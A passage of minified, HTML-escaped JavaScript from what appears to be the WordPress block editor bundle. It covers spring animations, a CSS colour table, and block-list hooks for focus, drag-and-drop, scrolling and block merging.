r=[],i=[];(e||t||n)&amp;&amp;(r.push([e||0,t||0,n||0]),i.push((e=&gt;[`translate3d(${e.map((e=&gt;Kx(e,&quot;px&quot;))).join(&quot;,&quot;)})`,Zx(e,0)]))),e_(o,((e,t)=&gt;{if(&quot;transform&quot;===t)r.push([e||&quot;&quot;]),i.push((e=&gt;[e,&quot;&quot;===e]));else if(Gx.test(t)){if(delete o[t],Xv.und(e))return;let n=$x.test(t)?&quot;px&quot;:Wx.test(t)?&quot;deg&quot;:&quot;&quot;;r.push(t_(e)),i.push(&quot;rotate3d&quot;===t?([e,t,o,r])=&gt;[`rotate3d(${e},${t},${o},${Kx(r,n)})`,Zx(r,0)]:e=&gt;[`${t}(${e.map((e=&gt;Kx(e,n))).join(&quot;,&quot;)})`,Zx(e,t.startsWith(&quot;scale&quot;)?1:0)])}})),r.length&amp;&amp;(o.transform=new Yx(r,i)),super(o)}},Yx=class extends Q_{constructor(e,t){super(),this.inputs=e,this.transforms=t}_value=null;get(){return this._value||(this._value=this._get())}_get(){let e=&quot;&quot;,t=!0;return Jv(this.inputs,((n,o)=&gt;{let r=q_(n[0]),[i,s]=this.transforms[o](Xv.arr(r)?r:n.map(q_));e+=&quot; &quot;+i,t=t&amp;&amp;s})),t?&quot;none&quot;:e}observerAdded(e){1==e&amp;&amp;Jv(this.inputs,(e=&gt;Jv(e,(e=&gt;Z_(e)&amp;&amp;ey(e,this)))))}observerRemoved(e){0==e&amp;&amp;Jv(this.inputs,(e=&gt;Jv(e,(e=&gt;Z_(e)&amp;&amp;ty(e,this)))))}eventObserved(e){&quot;change&quot;==e.type&amp;&amp;(this._value=null),X_(this,e)}};qv.assign({batchedUpdates:Ox.unstable_batchedUpdates,createStringInterpolator:py,colors:{transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199}});var Xx=((e,{applyAnimatedValues:t=()=&gt;!1,createAnimatedStyle:n=e=&gt;new jy(e),getComponentProps:o=e=&gt;e}={})=&gt;{let r={applyAnimatedValues:t,createAnimatedStyle:n,getComponentProps:o},i=e=&gt;{let t=Ny(e)||&quot;Anonymous&quot;;return(e=Xv.str(e)?i[e]||(i[e]=Py(e,r)):e[Ay]||(e[Ay]=Py(e,r))).displayName=`Animated(${t})`,e};return e_(e,((t,n)=&gt;{Xv.arr(e)&amp;&amp;(n=Ny(t)),i[n]=i(t)})),{animated:i}})([&quot;a&quot;,&quot;abbr&quot;,&quot;address&quot;,&quot;area&quot;,&quot;article&quot;,&quot;aside&quot;,&quot;audio&quot;,&quot;b&quot;,&quot;base&quot;,&quot;bdi&quot;,&quot;bdo&quot;,&quot;big&quot;,&quot;blockquote&quot;,&quot;body&quot;,&quot;br&quot;,&quot;button&quot;,&quot;canvas&quot;,&quot;caption&quot;,&quot;cite&quot;,&quot;code&quot;,&quot;col&quot;,&quot;colgroup&quot;,&quot;data&quot;,&quot;datalist&quot;,&quot;dd&quot;,&quot;del&quot;,&quot;details&quot;,&quot;dfn&quot;,&quot;dialog&quot;,&quot;div&quot;,&quot;dl&quot;,&quot;dt&quot;,&quot;em&quot;,&quot;embed&quot;,&quot;fieldset&quot;,&quot;figcaption&quot;,&quot;figure&quot;,&quot;footer&quot;,&quot;form&quot;,&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;head&quot;,&quot;header&quot;,&quot;hgroup&quot;,&quot;hr&quot;,&quot;html&quot;,&quot;i&quot;,&quot;iframe&quot;,&quot;img&quot;,&quot;input&quot;,&quot;ins&quot;,&quot;kbd&quot;,&quot;keygen&quot;,&quot;label&quot;,&quot;legend&quot;,&quot;li&quot;,&quot;link&quot;,&quot;main&quot;,&quot;map&quot;,&quot;mark&quot;,&quot;menu&quot;,&quot;menuitem&quot;,&quot;meta&quot;,&quot;meter&quot;,&quot;nav&quot;,&quot;noscript&quot;,&quot;object&quot;,&quot;ol&quot;,&quot;optgroup&quot;,&quot;option&quot;,&quot;output&quot;,&quot;p&quot;,&quot;param&quot;,&quot;picture&quot;,&quot;pre&quot;,&quot;progress&quot;,&quot;q&quot;,&quot;rp&quot;,&quot;rt&quot;,&quot;ruby&quot;,&quot;s&quot;,&quot;samp&quot;,&quot;script&quot;,&quot;section&quot;,&quot;select&quot;,&quot;small&quot;,&quot;source&quot;,&quot;span&quot;,&quot;strong&quot;,&quot;style&quot;,&quot;sub&quot;,&quot;summary&quot;,&quot;sup&quot;,&quot;table&quot;,&quot;tbody&quot;,&quot;td&quot;,&quot;textarea&quot;,&quot;tfoot&quot;,&quot;th&quot;,&quot;thead&quot;,&quot;time&quot;,&quot;title&quot;,&quot;tr&quot;,&quot;track&quot;,&quot;u&quot;,&quot;ul&quot;,&quot;var&quot;,&quot;video&quot;,&quot;wbr&quot;,&quot;circle&quot;,&quot;clipPath&quot;,&quot;defs&quot;,&quot;ellipse&quot;,&quot;foreignObject&quot;,&quot;g&quot;,&quot;image&quot;,&quot;line&quot;,&quot;linearGradient&quot;,&quot;mask&quot;,&quot;path&quot;,&quot;pattern&quot;,&quot;polygon&quot;,&quot;polyline&quot;,&quot;radialGradient&quot;,&quot;rect&quot;,&quot;stop&quot;,&quot;svg&quot;,&quot;text&quot;,&quot;tspan&quot;],{applyAnimatedValues:function(e,t){if(!e.nodeType||!e.setAttribute)return!1;let n=&quot;filter&quot;===e.nodeName||e.parentNode&amp;&amp;&quot;filter&quot;===e.parentNode.nodeName,{style:o,children:r,scrollTop:i,scrollLeft:s,viewBox:l,...a}=t,c=Object.values(a),u=Object.keys(a).map((t=&gt;n||e.hasAttribute(t)?t:Fx[t]||(Fx[t]=t.replace(/([A-Z])/g,(e=&gt;&quot;-&quot;+e.toLowerCase())))));void 0!==r&amp;&amp;(e.textContent=r);for(let t in o)if(o.hasOwnProperty(t)){let n=Vx(t,o[t]);zx.test(t)?e.style.setProperty(t,n):e.style[t]=n}u.forEach(((t,n)=&gt;{e.setAttribute(t,c[n])})),void 0!==i&amp;&amp;(e.scrollTop=i),void 0!==s&amp;&amp;(e.scrollLeft=s),void 0!==l&amp;&amp;e.setAttribute(&quot;viewBox&quot;,l)},createAnimatedStyle:e=&gt;new qx(e),getComponentProps:({scrollTop:e,scrollLeft:t,...n})=&gt;n}),Qx=Xx.animated;function Jx(e){return{top:e.offsetTop,left:e.offsetLeft}}var eS=function({triggerAnimationOnChange:e,clientId:t}){const n=(0,h.useRef)(),{isTyping:o,getGlobalBlockCount:r,isBlockSelected:i,isFirstMultiSelectedBlock:s,isBlockMultiSelected:l,isAncestorMultiSelected:a,isDraggingBlocks:c}=(0,g.useSelect)(Ii),{previous:u,prevRect:d}=(0,h.useMemo)((()=&gt;({previous:n.current&amp;&amp;Jx(n.current),prevRect:n.current&amp;&amp;n.current.getBoundingClientRect()})),[e]);return(0,h.useLayoutEffect)((()=&gt;{if(!u||!n.current)return;const e=(0,Ua.getScrollContainer)(n.current),p=i(t),h=p||s(t),g=c();function m(){if(!g&amp;&amp;h&amp;&amp;d){const t=n.current.getBoundingClientRect().top-d.top;t&amp;&amp;(e.scrollTop+=t)}}if(window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches||o()||r()&gt;200)return void m();const f=p||l(t)||a(t);if(f&amp;&amp;g)return;const b=f?&quot;1&quot;:&quot;&quot;,k=new Bx({x:0,y:0,config:{mass:5,tension:2e3,friction:200},onChange({value:e}){if(!n.current)return;let{x:t,y:o}=e;t=Math.round(t),o=Math.round(o);const r=0===t&amp;&amp;0===o;n.current.style.transformOrigin=&quot;center center&quot;,n.current.style.transform=r?null:`translate3d(${t}px,${o}px,0)`,n.current.style.zIndex=b,m()}});n.current.style.transform=void 0;const v=Jx(n.current),_=Math.round(u.left-v.left),y=Math.round(u.top-v.top);return k.start({x:0,y:0,from:{x:_,y}}),()=&gt;{k.stop(),k.set({x:0,y:0})}}),[u,d,t,o,r,i,s,l,a,c]),n};function tS({clientId:e,initialPosition:t}){const n=(0,h.useRef)(),{isBlockSelected:o,isMultiSelecting:r,isZoomOut:i}=U((0,g.useSelect)(Ii));return(0,h.useEffect)((()=&gt;{if(!o(e)||r()||i())return;if(null==t)return;if(!n.current)return;const{ownerDocument:s}=n.current;if($m(n.current,s.activeElement))return;const l=Ua.focus.tabbable.find(n.current).filter((e=&gt;(0,Ua.isTextField)(e))),a=-1===t,c=l[a?l.length-1:0]||n.current;if($m(n.current,c)){if(!n.current.getAttribute(&quot;contenteditable&quot;)){const e=Ua.focus.tabbable.findNext(n.current);if(e&amp;&amp;$m(n.current,e)&amp;&amp;(0,Ua.isFormElement)(e))return void e.focus()}(0,Ua.placeCaretAtHorizontalEdge)(c,a)}else n.current.focus()}),[t,e]),n}function nS(e){e.defaultPrevented||(e.preventDefault(),e.currentTarget.classList.toggle(&quot;is-hovered&quot;,&quot;mouseover&quot;===e.type))}function oS(e){const{isBlockSelected:t}=(0,g.useSelect)(Ii),{selectBlock:n,selectionChange:o}=(0,g.useDispatch)(Ii);return(0,m.useRefEffect)((r=&gt;{function i(i){r.parentElement.closest(&#039;[contenteditable=&quot;true&quot;]&#039;)||(t(e)?i.target.isContentEditable||o(e):$m(r,i.target)&amp;&amp;n(e))}return r.addEventListener(&quot;focusin&quot;,i),()=&gt;{r.removeEventListener(&quot;focusin&quot;,i)}}),[t,n])}function rS(e){return!e||&quot;transparent&quot;===e||&quot;rgba(0, 0, 0, 0)&quot;===e}function iS({clientId:e,isSelected:t}){const{getBlockRootClientId:n,isZoomOut:o,hasMultiSelection:r}=U((0,g.useSelect)(Ii)),{insertAfterBlock:i,removeBlock:s,resetZoomLevel:l,startDraggingBlocks:a,stopDraggingBlocks:c}=U((0,g.useDispatch)(Ii));return(0,m.useRefEffect)((u=&gt;{if(t)return u.addEventListener(&quot;keydown&quot;,d),u.addEventListener(&quot;dragstart&quot;,p),()=&gt;{u.removeEventListener(&quot;keydown&quot;,d),u.removeEventListener(&quot;dragstart&quot;,p)};function d(t){const{keyCode:n,target:r}=t;n!==$a.ENTER&amp;&amp;n!==$a.BACKSPACE&amp;&amp;n!==$a.DELETE||r!==u||(0,Ua.isTextField)(r)||(t.preventDefault(),n===$a.ENTER&amp;&amp;o()?l():n===$a.ENTER?i(e):s(e))}function p(t){if(u!==t.target||u.isContentEditable||u.ownerDocument.activeElement!==u||r())return void t.preventDefault();const o=JSON.stringify({type:&quot;block&quot;,srcClientIds:[e],srcRootClientId:n(e)});t.dataTransfer.effectAllowed=&quot;move&quot;,t.dataTransfer.clearData(),t.dataTransfer.setData(&quot;wp-blocks&quot;,o);const{ownerDocument:i}=u,{defaultView:s}=i;s.getSelection().removeAllRanges();const l=i.createElement(&quot;div&quot;);l.style.width=&quot;1px&quot;,l.style.height=&quot;1px&quot;,l.style.position=&quot;fixed&quot;,l.style.visibility=&quot;hidden&quot;,i.body.appendChild(l),t.dataTransfer.setDragImage(l,0,0);const d=u.getBoundingClientRect(),p=u.cloneNode(!0);p.style.visibility=&quot;hidden&quot;,p.style.display=&quot;none&quot;;const h=u.id;u.id=null;let g=1;{let e=u;for(;e=e.parentElement;){const{scale:t}=s.getComputedStyle(e);if(t&amp;&amp;&quot;none&quot;!==t){g=parseFloat(t);break}}}const m=1/g;u.after(p);const f={};for(const e of[&quot;transform&quot;,&quot;transformOrigin&quot;,&quot;transition&quot;,&quot;zIndex&quot;,&quot;position&quot;,&quot;top&quot;,&quot;left&quot;,&quot;pointerEvents&quot;,&quot;opacity&quot;,&quot;backgroundColor&quot;])f[e]=u.style[e];const b=s.scrollY,k=s.scrollX,v=t.clientX,_=t.clientY;u.style.position=&quot;relative&quot;,u.style.top=&quot;0px&quot;,u.style.left=&quot;0px&quot;;const y=t.clientX-d.left,x=t.clientY-d.top,S=d.height&gt;200?200/d.height:1;if(u.style.zIndex=&quot;1000&quot;,u.style.transformOrigin=`${y*m}px ${x*m}px`,u.style.transition=&quot;transform 0.2s ease-out&quot;,u.style.transform=`scale(${S})`,u.style.opacity=&quot;0.9&quot;,rS(s.getComputedStyle(u).backgroundColor)){let e=&quot;transparent&quot;,t=u;for(;t=t.parentElement;){const{backgroundColor:n}=s.getComputedStyle(t);if(!rS(n)){e=n;break}}u.style.backgroundColor=e}let w=!1;function C(e){w||(w=!0,u.style.pointerEvents=&quot;none&quot;);const t=s.scrollY,n=s.scrollX;u.style.top=(e.clientY-_+t-b)*m+&quot;px&quot;,u.style.left=(e.clientX-v+n-k)*m+&quot;px&quot;}function B(){i.removeEventListener(&quot;dragover&quot;,C),i.removeEventListener(&quot;dragend&quot;,B),i.removeEventListener(&quot;drop&quot;,B),i.removeEventListener(&quot;scroll&quot;,C);for(const[e,t]of Object.entries(f))u.style[e]=t;p.remove(),u.id=h,l.remove(),c(),document.body.classList.remove(&quot;is-dragging-components-draggable&quot;),i.documentElement.classList.remove(&quot;is-dragging&quot;)}i.addEventListener(&quot;dragover&quot;,C),i.addEventListener(&quot;dragend&quot;,B),i.addEventListener(&quot;drop&quot;,B),i.addEventListener(&quot;scroll&quot;,C),a([e]),document.body.classList.add(&quot;is-dragging-components-draggable&quot;),i.documentElement.classList.add(&quot;is-dragging&quot;)}}),[e,t,n,i,s,o,l,r,a,c])}function sS(){const e=(0,h.useContext)(iw);return(0,m.useRefEffect)((t=&gt;{if(e)return e.observe(t),()=&gt;{e.unobserve(t)}}),[e])}function lS({isSelected:e}){const t=(0,m.useReducedMotion)();return(0,m.useRefEffect)((n=&gt;{if(e){const{ownerDocument:e}=n,{defaultView:o}=e;if(!o.IntersectionObserver)return;const r=new o.IntersectionObserver((e=&gt;{e[0].isIntersecting||n.scrollIntoView({behavior:t?&quot;instant&quot;:&quot;smooth&quot;}),r.disconnect()}));return r.observe(n),()=&gt;{r.disconnect()}}}),[e])}function aS({clientId:e=&quot;&quot;,isEnabled:t=!0}={}){const{getEnabledClientIdsTree:n}=U((0,g.useSelect)(Ii));return(0,m.useRefEffect)((o=&gt;{if(!t)return;const r=t=&gt;{(t.target===o||t.target.classList.contains(&quot;is-root-container&quot;))&amp;&amp;(t.defaultPrevented||(t.preventDefault(),n(e).forEach((({clientId:e})=&gt;{const t=o.querySelector(`[data-block=&quot;${e}&quot;]`);t&amp;&amp;(t.classList.remove(&quot;has-editable-outline&quot;),t.offsetWidth,t.classList.add(&quot;has-editable-outline&quot;))}))))};return o.addEventListener(&quot;click&quot;,r),()=&gt;o.removeEventListener(&quot;click&quot;,r)}),[t])}const cS=new Map;function uS(e){const t=e.getAttribute(&quot;data-draggable&quot;);t&amp;&amp;(e.removeAttribute(&quot;data-draggable&quot;),&quot;true&quot;!==t||e.getAttribute(&quot;draggable&quot;)||e.setAttribute(&quot;draggable&quot;,&quot;true&quot;))}function dS(e){const{target:t}=e,{ownerDocument:n,isContentEditable:o,tagName:r}=t,i=[&quot;INPUT&quot;,&quot;TEXTAREA&quot;].includes(r),s=cS.get(n);if(o||i)for(const e of s)&quot;true&quot;===e.getAttribute(&quot;draggable&quot;)&amp;&amp;e.contains(t)&amp;&amp;(e.removeAttribute(&quot;draggable&quot;),e.setAttribute(&quot;data-draggable&quot;,&quot;true&quot;));else for(const e of s)uS(e)}function pS(){return(0,m.useRefEffect)((e=&gt;(function(e,t){let n=cS.get(e);n||(n=new Set,cS.set(e,n),e.addEventListener(&quot;pointerdown&quot;,dS)),n.add(t)}(e.ownerDocument,e),()=&gt;{!function(e,t){const n=cS.get(e);n&amp;&amp;(n.delete(t),uS(t),0===n.size&amp;&amp;(cS.delete(e),e.removeEventListener(&quot;pointerdown&quot;,dS)))}(e.ownerDocument,e)})),[])}function hS(e={},{__unstableIsHtml:t}={}){const{clientId:n,className:o,wrapperProps:r={},isAligned:i,index:s,mode:l,name:a,blockApiVersion:c,blockTitle:u,isSelected:d,isSubtreeDisabled:p,hasOverlay:g,initialPosition:f,blockEditingMode:b,isHighlighted:k,isMultiSelected:v,isPartiallySelected:y,isReusable:x,isDragging:S,hasChildSelected:w,isEditingDisabled:B,hasEditableOutline:I,isTemporarilyEditingAsBlocks:j,defaultClassName:E,isSectionBlock:M,canMove:P,isBlockHidden:R}=(0,h.useContext)(dv),A=(0,T.sprintf)((0,T.__)(&quot;Block: %s&quot;),u),N=&quot;html&quot;!==l||t?&quot;&quot;:&quot;-visual&quot;,L=pS(),D=(0,m.useMergeRefs)([e.ref,tS({clientId:n,initialPosition:f}),hh(n),oS(n),iS({clientId:n,isSelected:d}),(0,m.useRefEffect)((e=&gt;(e.addEventListener(&quot;mouseout&quot;,nS),e.addEventListener(&quot;mouseover&quot;,nS),()=&gt;{e.removeEventListener(&quot;mouseout&quot;,nS),e.removeEventListener(&quot;mouseover&quot;,nS),e.classList.remove(&quot;is-hovered&quot;)})),[]),sS(),eS({triggerAnimationOnChange:s,clientId:n}),(0,m.useDisabled)({isDisabled:!g}),aS({clientId:n,isEnabled:M}),lS({isSelected:d}),P?L:void 0]),O=C(),z=!!O[_]?{&quot;--wp-admin-theme-color&quot;:&quot;var(--wp-block-synced-color)&quot;,&quot;--wp-admin-theme-color--rgb&quot;:&quot;var(--wp-block-synced-color--rgb)&quot;}:{};c&lt;2&amp;&amp;n===O.clientId&amp;&amp;Is()(`Block type &quot;${a}&quot; must support API version 2 or higher to work correctly with &quot;useBlockProps&quot; method.`);let V=!1;return&quot;-&quot;!==r?.style?.marginTop?.charAt(0)&amp;&amp;&quot;-&quot;!==r?.style?.marginBottom?.charAt(0)&amp;&amp;&quot;-&quot;!==r?.style?.marginLeft?.charAt(0)&amp;&amp;&quot;-&quot;!==r?.style?.marginRight?.charAt(0)||(V=!0),{tabIndex:&quot;disabled&quot;===b?-1:0,draggable:!(!P||w)||void 0,...r,...e,ref:D,id:`block-${n}${N}`,role:&quot;document&quot;,&quot;aria-label&quot;:A,&quot;data-block&quot;:n,&quot;data-type&quot;:a,&quot;data-title&quot;:u,inert:p?&quot;true&quot;:void 0,className:gs(&quot;block-editor-block-list__block&quot;,{&quot;wp-block&quot;:!i,&quot;has-block-overlay&quot;:g,&quot;is-selected&quot;:d,&quot;is-highlighted&quot;:k,&quot;is-multi-selected&quot;:v,&quot;is-partially-selected&quot;:y,&quot;is-reusable&quot;:x,&quot;is-dragging&quot;:S,&quot;has-child-selected&quot;:w,&quot;is-editing-disabled&quot;:B,&quot;has-editable-outline&quot;:I,&quot;has-negative-margin&quot;:V,&quot;is-content-locked-temporarily-editing-as-blocks&quot;:j,&quot;is-block-hidden&quot;:R},o,e.className,r.className,E),style:{...r.style,...e.style,...z}}}function gS({children:e,isHtml:t,...n}){return(0,d.jsx)(&quot;div&quot;,{...hS(n,{__unstableIsHtml:t}),children:e})}function mS({block:{__unstableBlockSource:e},mode:t,isLocked:n,canRemove:o,clientId:r,isSelected:i,isSelectionEnabled:s,className:l,__unstableLayoutClassNames:a,name:c,isValid:u,attributes:g,wrapperProps:m,setAttributes:f,onReplace:b,onRemove:k,onInsertBlocksAfter:v,onMerge:_,toggleSelection:y}){const{mayDisplayControls:x,mayDisplayParentControls:S,themeSupportsLayout:w,...C}=(0,h.useContext)(dv),B=ea()||{};let I=(0,d.jsx)(kv,{name:c,isSelected:i,attributes:g,setAttributes:f,insertBlocksAfter:n?void 0:v,onReplace:o?b:void 0,onRemove:o?k:void 0,mergeBlocks:o?_:void 0,clientId:r,isSelectionEnabled:s,toggleSelection:y,__unstableLayoutClassNames:a,__unstableParentLayout:Object.keys(B).length?B:void 0,mayDisplayControls:x,mayDisplayParentControls:S,blockEditingMode:C.blockEditingMode,isPreviewMode:C.isPreviewMode});const j=(0,p.getBlockType)(c);j?.getEditWrapperProps&amp;&amp;(m=function(e,t){const n={...e,...t};return e?.hasOwnProperty(&quot;className&quot;)&amp;&amp;t?.hasOwnProperty(&quot;className&quot;)&amp;&amp;(n.className=gs(e.className,t.className)),e?.hasOwnProperty(&quot;style&quot;)&amp;&amp;t?.hasOwnProperty(&quot;style&quot;)&amp;&amp;(n.style={...e.style,...t.style}),n}(m,j.getEditWrapperProps(g)));const E=m&amp;&amp;!!m[&quot;data-align&quot;]&amp;&amp;!w,T=l?.includes(&quot;is-position-sticky&quot;);let M;if(E&amp;&amp;(I=(0,d.jsx)(&quot;div&quot;,{className:gs(&quot;wp-block&quot;,T&amp;&amp;l),&quot;data-align&quot;:m[&quot;data-align&quot;],children:I})),u)M=&quot;html&quot;===t?(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(&quot;div&quot;,{style:{display:&quot;none&quot;},children:I}),(0,d.jsx)(gS,{isHtml:!0,children:(0,d.jsx)(Ev,{clientId:r})})]}):j?.apiVersion&gt;1?I:(0,d.jsx)(gS,{children:I});else{const t=e?(0,p.serializeRawBlock)(e):(0,p.getSaveContent)(j,g);M=(0,d.jsxs)(gS,{className:&quot;has-warning&quot;,children:[(0,d.jsx)(Sv,{clientId:r}),(0,d.jsx)(h.RawHTML,{children:(0,Ua.safeHTML)(t)})]})}const{&quot;data-align&quot;:P,...R}=m??{},A={...R,className:gs(R.className,P&amp;&amp;w&amp;&amp;`align${P}`,!(P&amp;&amp;T)&amp;&amp;l)};return(0,d.jsx)(dv.Provider,{value:{wrapperProps:A,isAligned:E,...C},children:(0,d.jsx)(Iv,{fallback:(0,d.jsx)(gS,{className:&quot;has-warning&quot;,children:(0,d.jsx)(Cv,{})}),children:M})})}hS.save=p.__unstableGetBlockProps;const fS=(0,g.withDispatch)(((e,t,n)=&gt;{const{updateBlockAttributes:o,insertBlocks:r,mergeBlocks:i,replaceBlocks:s,toggleSelection:l,__unstableMarkLastChangeAsPersistent:a,moveBlocksToPosition:c,removeBlock:u,selectBlock:d}=e(Ii);return{setAttributes(e){const{getMultiSelectedBlockClientIds:r}=n.select(Ii),i=r(),{clientId:s,attributes:l}=t,a=i.length?i:[s],c=&quot;function&quot;==typeof e?e(l):e;o(a,c)},onInsertBlocks(e,n){const{rootClientId:o}=t;r(e,n,o)},onInsertBlocksAfter(e){const{clientId:o,rootClientId:i}=t,{getBlockIndex:s}=n.select(Ii),l=s(o);r(e,l+1,i)},onMerge(e){const{clientId:o,rootClientId:l}=t,{getPreviousBlockClientId:a,getNextBlockClientId:h,getBlock:g,getBlockAttributes:m,getBlockName:f,getBlockOrder:b,getBlockIndex:k,getBlockRootClientId:v,canInsertBlockType:_}=n.select(Ii);function y(){const e=g(o),t=(0,p.getDefaultBlockName)(),r=(0,p.getBlockType)(t);if(f(o)!==t){const n=(0,p.switchToBlockType)(e,t);n&amp;&amp;n.length&amp;&amp;s(o,n)}else if((0,p.isUnmodifiedDefaultBlock)(e)){const e=h(o);e&amp;&amp;n.batch((()=&gt;{u(o),d(e)}))}else if(r.merge){const n=r.merge({},e.attributes);s([o],[(0,p.createBlock)(t,n)])}}function x(e,t=!0){const o=f(e),i=&quot;text&quot;===(0,p.getBlockType)(o).category,s=v(e),l=b(e),[a]=l;1===l.length&amp;&amp;(0,p.isUnmodifiedBlock)(g(a))?u(e):i?n.batch((()=&gt;{if(_(f(a),s))c([a],e,s,k(e));else{const n=(0,p.switchToBlockType)(g(a),(0,p.getDefaultBlockName)());n&amp;&amp;n.length&amp;&amp;n.every((e=&gt;_(e.name,s)))?(r(n,k(e),s,t),u(a,!1)):y()}!b(e).length&amp;&amp;(0,p.isUnmodifiedBlock)(g(e))&amp;&amp;u(e,!1)})):y()}if(e){if(l){const e=h(l);if(e){if(f(l)!==f(e))return void i(l,e);{const t=m(l),o=m(e);if(Object.keys(t).every((e=&gt;t[e]===o[e])))return void n.batch((()=&gt;{c(b(e),e,l),u(e,!1)}))}}}const e=h(o);if(!e)return;b(e).length?x(e,!1):i(o,e)}else{const e=a(o);if(e)i(e,o);else if(l){const e=a(l);if(e&amp;&amp;f(l)===f(e)){const t=m(l),o=m(e);if(Object.keys(t).every((e=&gt;t[e]===o[e])))return void n.batch((()=&gt;{c(b(l),l,e),u(l,!1)}))}x(l)}else y()}},onReplace(e,n,o){e.length&amp;&amp;!(0,p.isUnmodifiedDefaultBlock)(e[e.length-1])&amp;&amp;a();const r=1===e?.length&amp;&amp;Array.isArray(e[0])?e[0]:e;s([t.clientId],r,n,o)},onRemove(){u(t.clientId)},toggleSelection(e){l(e)}}}));mS=(0,m.compose)(fS,(0,Ss.withFilters)(&quot;editor.BlockListBlock&quot;))(mS);var bS=(0,h.memo)((function(e){const{clientId:t,rootClientId:n}=e,o=(0,g.useSelect)((e=&gt;{const{isBlockSelected:o,getBlockMode:r,isSelectionEnabled:i,getTemplateLock:s,isSectionBlock:l,getBlockWithoutAttributes:a,getBlockAttributes:c,canRemoveBlock:u,canMoveBlock:d,getSettings:h,getTemporarilyEditingAsBlocks:g,getBlockEditingMode:m,getBlockName:f,isFirstMultiSelectedBlock:b,getMultiSelectedBlockClientIds:k,hasSelectedInnerBlock:v,getBlocksByName:_,getBlockIndex:y,isBlockMultiSelected:x,isBlockSubtreeDisabled:S,isBlockHighlighted:w,__unstableIsFullySelected:C,__unstableSelectionHasUnmergeableBlock:B,isBlockBeingDragged:I,isDragging:j,__unstableHasActiveBlockOverlayActive:E,getSelectedBlocksInitialCaretPosition:T}=U(e(Ii)),M=a(t);if(!M)return;const{hasBlockSupport:P,getActiveBlockVariation:R}=e(p.store),A=c(t),{name:N,isValid:L}=M,D=(0,p.getBlockType)(N),{supportsLayout:O,isPreviewMode:z,__experimentalBlockBindingsSupportedAttributes:V}=h(),F=V?.[N],H=D?.apiVersion&gt;1,G={isPreviewMode:z,blockWithoutAttributes:M,name:N,attributes:A,isValid:L,themeSupportsLayout:O,index:y(t),isReusable:(0,p.isReusableBlock)(D),className:H?A.className:void 0,defaultClassName:H?(0,p.getBlockDefaultClassName)(N):void 0,blockTitle:D?.title,isBlockHidden:!1===A?.metadata?.blockVisibility,bindableAttributes:F};if(z)return G;const{isBlockHidden:$}=U(e(Ii)),W=o(t),K=u(t),Z=d(t),q=R(N,A),Y=x(t),X=v(t,!0),Q=m(t),J=(0,p.hasBlockSupport)(N,&quot;multiple&quot;,!0)?[]:_(N),ee=J.length&amp;&amp;J[0]!==t;return{...G,mode:r(t),isSelectionEnabled:i(),isLocked:!!s(n),isSectionBlock:l(t),canRemove:K,canMove:Z,isSelected:W,isTemporarilyEditingAsBlocks:g()===t,blockEditingMode:Q,mayDisplayControls:W||b(t)&amp;&amp;k().every((e=&gt;f(e)===N)),mayDisplayParentControls:P(f(t),&quot;__experimentalExposeControlsToChildren&quot;,!1)&amp;&amp;v(t),blockApiVersion:D?.apiVersion||1,blockTitle:q?.title||D?.title,isSubtreeDisabled:&quot;disabled&quot;===Q&amp;&amp;S(t),hasOverlay:E(t)&amp;&amp;!j(),initialPosition:W?T():void 